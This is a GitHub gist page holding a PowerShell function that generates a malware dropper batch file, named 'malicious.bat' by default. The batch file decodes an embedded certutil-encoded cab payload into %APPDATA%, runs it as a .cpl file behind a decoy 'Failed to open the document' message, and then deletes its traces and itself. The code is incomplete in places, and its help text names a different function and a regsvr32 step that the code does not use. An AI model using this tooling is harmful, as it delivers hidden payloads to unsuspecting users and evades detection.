Skip to content

Instantly share code, notes, and snippets.

Last active September 20, 2017 12:15
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
What would you like to do?
Generate Batch file for cpl file
function New-CplBatchFile
Generates a batch file which will contain a certutil encoded, cab compressed payload.
The batch file will decode and decompress the cab file, then execute the dll within with regsvr32. You may modify the bat file to execute whatever you want.
Create payload:
1. makecab payload.dll ""
2. certutil -encode payload.txt
.PARAMETER CabCompressedPayload
File path to the cab compressed and encoded payload.
.PARAMETER BatchFilePath
Path to output the resulting bat file.
The path to output the resulting payload. Placed in the bat file.
New-RegSvr32BatchFile -CabCompressedPayload payload.txt
Generate a bat file from the file payload.txt with all of the default parameter values.
[Parameter(Mandatory = $True)]
[string]$BatchFilePath = "malicious.bat",
[string]$InlinePath = "%appdata%\debug.cpl"
$TemplateBatch = @"
SET OutCpl=`"$InlinePath`"
SET dropPath="%APPDATA%\debug.txt"
setlocal enabledelayedexpansion
) > %dropPath%
certutil -decode "%dropPath%" ""
expand "%OutCpl%"
msg %username% Failed to open the document
start /b %OutCpl%
timeout /t 5 /nobreak > NUL
del "%dropPath%"
start /b "" cmd /c del "%~f0"&exit /b
$certUtilEncodedBinary = Get-Content -Encoding Ascii $CabCompressedPayload
$count = 1
$batchFormattedBinary = $certUtilEncodedBinary | % {"SET `"line$count=$_`"";$count+=1}
$count = 1
$echolines = $certUtilEncodedBinary | % {"echo !line$count!";$count+=1}
$TemplateBatch = $TemplateBatch.Replace("INLINEENCODING",$batchFormattedBinary -join "`n")
$TemplateBatch = $TemplateBatch.Replace("ECHOCMDLINES",$echolines -join "`n`t")
$TemplateBatch = $TemplateBatch -creplace '(?m)^\s*\r?\n',''
$TemplateBatch | Out-File -Encoding ascii $BatchFilePath -Force
Get-ChildItem -Path $BatchFilePath
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment